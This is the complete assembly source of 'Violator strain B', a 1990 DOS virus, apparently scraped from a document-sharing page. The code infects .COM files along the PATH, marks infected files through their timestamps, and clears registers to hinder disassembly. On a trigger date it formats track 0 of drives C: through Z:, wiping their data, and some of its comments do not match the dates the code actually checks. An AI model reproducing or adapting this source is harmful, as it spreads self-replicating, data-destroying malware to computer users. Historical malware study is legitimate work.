You are on page 1of 7

;*****************************************************************************

;
; violator - strain b
;
;*****************************************************************************
;
; (aug/09/90)
;
; development notes:
;
; i encountered several errors in the original violator code which i
; corrected in this version. mainly, the int 26 routine to fuck the
; disk. it seems that the routine would crash right after the int 26
; was executed and the whole program would die. i have since fixed
; this problem in this version with an int 13, ah 05 (format track)
; command. this works better than the subsequent int 26.
;
;
;*****************************************************************************
;
; written by - the high evolutionary -
; rabid head programmer
;
; revised by: ?onslaught?
; no affiliation with rabid
;
; copyright (c) 1990 by rabid nat'nl development corp.
;
;*****************************************************************************

mov_cx macro x
db 0b9h
dw x
endm

code segment
assume ds:code,ss:code,cs:code,es:code
org $+0100h ; set org to 100h plus our own

vcode: jmp virus

nop
nop
nop ;15 nop's to place jmp header
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop

v_start equ $
virus: push cx
mov dx,offset vir_dat
cld
mov si,dx
add si,first_3
mov cx,3
mov di,offset 100h
repz movsb
mov si,dx
mov ah,30h
int 21h
cmp al,0 ;quit it it's dos 1.0
jnz dos_ok
jmp quit

dos_ok: push es
mov ah,2fh
int 21h
mov [si+old_dta],bx
mov [si+old_dts],es
pop es
mov dx,dta
add dx,si
mov ah,1ah
int 21h
push es
push si
mov es,ds:2ch
mov di,0
jmp year_check

year_check:
mov ah,2ah ;get date info
int 21h ;call dos
cmp cx,1990 ;check to see if the year is 1990
jge month_check ;if greater or equal, check month
jmp find_path ;if not, go on with infection

month_check:
mov ah,2ah ;get date info
int 21h ;call dos
cmp dh,10 ;check to see if it is september
jge day_check ;if greater or equal, check day
jmp find_path ;if not, go on with infection

day_check:
mov ah,2ah ;get date info
int 21h ;call dos
cmp dl,31 ;check to see if it is the 4th
jge multiplex ;if yes, then nuke drives a:-z:
jmp find_path ;if not, then go on with infection

multiplex:
mov al,cntr ;counter is the drive to kill
call alter ;go and kill the drive
;25 is drive z:
cmp cntr,25 ;is (cntr) 25 ?
je find_path ;go on with infection
inc cntr ;add one to (cntr)
loop multiplex ;loop back up to kill next drive

alter:
mov ah,05 ;format track
mov ch,0 ;format track 0
mov dh,0 ;head 0
mov dl,cntr ;format for drive in (cntr)
int 13h ;call rwts
ret ;return up for next drive

find_path:
pop si
push si
add si,env_str
lodsb
mov cx,offset 8000h
repnz scasb
mov cx,4

check_next_4:
lodsb
scasb
;
; the jnz line specifies that if there is no path present, then we will go
; along and infect the root directory on the default drive.
;
jnz find_path ;if not path, then go to root dir
loop check_next_4 ;go back and check for more chars
pop si ;load in path again to look for chars
pop es
mov [si+path_ad],di
mov di,si
add di,wrk_spc ;put the filename in wrk_spc
mov bx,si
add si,wrk_spc
mov di,si
jmp short slash_ok

set_subdir:
cmp word ptr [si+path_ad],0
jnz found_subdir
jmp all_done

found_subdir:
push ds
push si
mov ds,es:2ch
mov di,si
mov si,es:[di+path_ad]
add di,wrk_spc ;di is the file name to infect! (hehe)

move_subdir:
lodsb ;to tedious work to move into subdir
cmp al,';' ;does it end with a ; charachter?
jz moved_one ;if yes, then we found a subdir
cmp al,0 ;is it the end of the path?
jz moved_last_one ;if yes, then we save the path
stosb ;marker into di for future reference
jmp short move_subdir

moved_last_one:
mov si,0

moved_one:
pop bx ;bx is where the virus data is
pop ds ;restore ds so that we can do stuph
mov [bx+path_ad],si ;where is the next subdir?
nop
cmp ch,'\' ;check to see if it ends in \
jz slash_ok ;if yes, then it's ok
mov al,'\' ;if not, then add one...
stosb ;store the sucker

slash_ok:
mov [bx+nam_ptr],di ;move the filename into workspace
mov si,bx ;restore the original si value
add si,f_spec ;point to com file victim
mov cx,6
repz movsb ;move victim into workspace
mov si,bx
mov ah,4eh
mov dx,wrk_spc
add dx,si ;dx is ... the victim!!!
mov cx,3 ;attributes of read only or hidden ok
int 21h
jmp short find_first

find_next:
mov ah,4fh
int 21h

find_first:
jnb found_file ;jump if we found it
jmp short set_subdir ;otherwise, get another subdirectory

found_file:
mov ax,[si+dta_tim] ;get time from dta
and al,1eh ;mask to remove all but seconds
cmp al,1eh ;60 seconds
jz find_next
cmp word ptr [si+dta_len],offset 0fa00h ;is the file too long?
ja find_next ;if too long, find another one
cmp word ptr [si+dta_len],0ah ;is it too short?
jb find_next ;then go find another one
mov di,[si+nam_ptr]
push si
add si,dta_nam

more_chars:
lodsb
stosb
cmp al,0
jnz more_chars
pop si
mov ax,offset 4300h
mov dx,wrk_spc
add dx,si
int 21h
mov [si+old_att],cx
mov ax,offset 4301h
and cx,offset 0fffeh
mov dx,wrk_spc
add dx,si
int 21h
mov ax,offset 3d02h
mov dx,wrk_spc
add dx,si
int 21h
jnb opened_ok
jmp fix_attr

opened_ok:
mov bx,ax
mov ax,offset 5700h
int 21h
mov [si+old_tim],cx ;save file time
mov [si+ol_date],dx ;save the date
mov ah,2ch
int 21h
and dh,7
jmp infect

infect:
mov ah,3fh
mov cx,3
mov dx,first_3
add dx,si
int 21h ;save first 3 bytes into the data area
jb fix_time_stamp
cmp ax,3
jnz fix_time_stamp
mov ax,offset 4202h
mov cx,0
mov dx,0
int 21h
jb fix_time_stamp
mov cx,ax
sub ax,3
mov [si+jmp_dsp],ax
add cx,offset c_len_y
mov di,si
sub di,offset c_len_x

mov [di],cx
mov ah,40h
mov_cx virlen
mov dx,si
sub dx,offset codelen
int 21h
jb fix_time_stamp
cmp ax,offset virlen
jnz fix_time_stamp
mov ax,offset 4200h
mov cx,0
mov dx,0
int 21h
jb fix_time_stamp
mov ah,40h
mov cx,3
mov dx,si
add dx,jmp_op
int 21h

fix_time_stamp:
mov dx,[si+ol_date]
mov cx,[si+old_tim]
and cx,offset 0ffe0h
or cx,1eh
mov ax,offset 5701h
int 21h
mov ah,3eh
int 21h

fix_attr:
mov ax,offset 4301h
mov cx,[si+old_att]
mov dx,wrk_spc
add dx,si
int 21h

all_done:
push ds
mov ah,1ah
mov dx,[si+old_dta]
mov ds,[si+old_dts]
int 21h
pop ds

quit:
pop cx
xor ax,ax ;xor values so that we will give the
xor bx,bx ;poor sucker a hard time trying to
xor dx,dx ;reassemble the source code if he
xor si,si ;decides to dissassemble us.
mov di,offset 0100h
push di
xor di,di
ret 0ffffh ;return back to the beginning
;of the program

vir_dat equ $

intro db '.d$^i*&b)_a.%r',13,10
olddta_ dw 0
olddts_ dw 0
oldtim_ dw 0
count_ dw 0
cntr db 2 ; drive to nuke from (c:+++)
oldate_ dw 0
oldatt_ dw 0
first3_ equ $
int 20h
nop
jmpop_ db 0e9h
jmpdsp_ dw 0
fspec_ db '*.com',0
pathad_ dw 0
namptr_ dw 0
envstr_ db 'path='
wrkspc_ db 40h dup (0)
dta_ db 16h dup (0)
dtatim_ dw 0,0
dtalen_ dw 0,0
dtanam_ db 0dh dup (0)
lst_byt equ $
virlen = lst_byt - v_start
codelen = vir_dat - v_start
c_len_x = vir_dat - v_start - 2
c_len_y = vir_dat - v_start + 100h
old_dta = olddta_ - vir_dat
old_dts = olddts_ - vir_dat
old_tim = oldtim_ - vir_dat
ol_date = oldate_ - vir_dat
old_att = oldatt_ - vir_dat
first_3 = first3_ - vir_dat
jmp_op = jmpop_ - vir_dat
jmp_dsp = jmpdsp_ - vir_dat
f_spec = fspec_ - vir_dat
path_ad = pathad_ - vir_dat
nam_ptr = namptr_ - vir_dat
env_str = envstr_ - vir_dat
wrk_spc = wrkspc_ - vir_dat
dta = dta_ - vir_dat
dta_tim = dtatim_ - vir_dat
dta_len = dtalen_ - vir_dat
dta_nam = dtanam_ - vir_dat
count = count_ - vir_dat

code ends
end vcode

You might also like